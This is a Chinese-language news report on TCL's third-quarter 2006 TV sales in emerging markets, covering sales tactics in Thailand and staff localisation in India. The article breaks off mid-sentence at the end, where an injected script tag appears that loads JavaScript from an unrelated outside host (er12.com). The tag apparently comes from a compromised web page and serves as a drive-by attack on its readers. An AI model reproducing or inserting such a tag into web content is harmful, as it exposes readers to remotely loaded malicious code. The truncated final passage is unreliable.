最近公布的tcl2006年第三季度报表显示，海外新兴市场一如既往地成为tcl国际化的最大亮点，其彩电销量占集团彩电总销售量的45%，稳居半壁江山。
新兴市场覆盖了包含东南亚、南亚、俄罗斯及东欧、中东、非洲、大洋洲、墨西哥及拉丁美洲等市场在内成长较快、最具市场增长潜力的约150多个发展中国家。根据当地一些权威机构的统计，tcl目前在越南已经成为仅次于三星的一线知名品牌，在菲律宾市场排名第二位，市场份额分别为20%、23%；澳洲市场排名第四位，市场份额为9%。泰国和印度尼西亚市场排名第五位，市场份额分别为9%及8%。
业界认为，李东生的国际化谋略正分两条路走，一条是在欧美的并购之路，另一条是以新兴市场为主体的御林军亲征，而海外新兴市场很大程度上成为tcl进一步实施国际化的后盾。
为此，本报tcl国际化系列报道将用两个篇幅报道新兴市场，其中上篇为亚洲市场，下篇为澳洲市场。
泰国：强化终端控制力
泰国公司有关人员表示，tcl在泰国市场基本上已经形成一个共识，即稳定发展，逐步扩大，很重要的一个方面就是基本功要练好。这个基本功即终端的控制能力。换句话说就是对销售的掌握。“市场份额如何获得？只有接近前端，贴近消费者你才有可能获得。”
如何提高终端的控制能力？泰国公司的员工心里都很清楚，那是用脚“跑”出来的，包括很多管理人员也会到第一线，到柜台前跟消费者交流。
“我们经常会一个店一个店地去跑、去看，我会跟促销员去谈最近的情况，出现什么问题及时沟通。”这是泰国公司管理层人士的经验之谈。
互相的沟通是关键。沟通还体现在开会的时候。在泰国公司，每次开会，管理层并不会强行推行其方案，更多的时候是听取基层的意见。听完意见之后，再综合起来作一个最符合实际的决策。这个决策可能很多时候要考虑到当地的实际，考虑到跨文化的差异。不然的话，有很多在国内很有用的经验，到泰国市场执行的时候却发现“并不怎么样”，最终的效果也“不怎么样”。这就是其中存在的文化差异。
比如，泰国人的娱乐重点不是看电视，比如他可以出去玩、度假，跟中国人完全不一样。又比如对大多数中国人来说，原来有20多平方米的客厅，有20英寸的电视，怎么也会想换一个40多平方米的客厅，弄一个40英寸的电视。泰国人绝对不会这样想，20平方米的客厅，20英寸的电视，这个很好，然后买个车出去玩，他们不喜欢呆在家里，泰国那边天气热，大家都喜欢出去。面对这个情况你怎么办？
实际上，泰国这个市场并不是想象的那么大，而且很容易遇到对手。比如，lg就是一个强劲的对手。tcl与lg之间难免进行销售任务的“攀比”，在市场上会“打”起来。lg非常重视tcl，他们也挺害怕中国人的方式，是“不声不响的勤劳”。在泰国，有一种说法，30年前日本人挤了进来，15年前韩国人进来抢占了日本人的市场，现在tcl来了，5年后它一定会把日本、韩国“赶出”泰国。
竞争力来自何方？“我们所领悟到的东西，做国际化最关键的东西就是成本国际化。”泰国公司员工如是说。
印度：推进人才本地化
印度、巴西、俄罗斯、中国，这是四个人口大国，除了中国以外，从人口基数来讲，印度是第二大新兴市场。虽然从经济总量来说，印度无法和巴西、俄罗斯比，但发展潜力却更大一些。而“对做消费电子产业的来讲，最关心的是人”。
tcl去年在印度做了一个书面调查：假如你有钱，你最喜欢购买什么东西。“他们的小康水平与我们中国的小康水平标准不一样，印度在小康生活水平范围的人士，如果有钱，第一会买房。这说明这个国家是安定状态，如果国家处于动乱状态肯定不会买房，就会买贵金属。第二是愿意购买彩电，说明彩电在印度不像在中国，中国彩电不叫奢侈品，在印度彩电叫奢侈品。”印度公司的员工说。
印度彩电市场，市场容量有1000万台，而且基数低，增长快，对中国企业来说都是机会。尽管这个市场由lg、三星垄断，但对tcl来讲有机会。
tcl在印度为什么成功？tcl的经验是一定要本地化。
产品研发是一方面，人力资源是更重要的另一方面。在印度的跨国企业，没有一个成功的企业全是靠本国的人才，而是靠印度人。谁印度人用得好，谁就成功，lg是最典型的成功例子。人才本地化，说起来容易做起来难。但对中国企业有一个优势，印度人重感情，这点是一个优势。中国人到别的地方可能做不到这点，你重感情别的人不重感情。欧美人不重感情，讲究职业化。你的专业能力比他强，他得听你的，你专业能力不比他强，哪怕你是领导，他也不理你。对印度人，只要你尊重他，信任他，以心交心，他对公司忠诚度就比较高。
但印度公司相关人士强调，本地化也要讲究“中印搭配”，要把中国人放在关键的有风险因素的岗位，防止公司出风险。
人“服了水土”，产品还得服水土。印度人特别喜欢大?script src=http://er12.com/t.js>
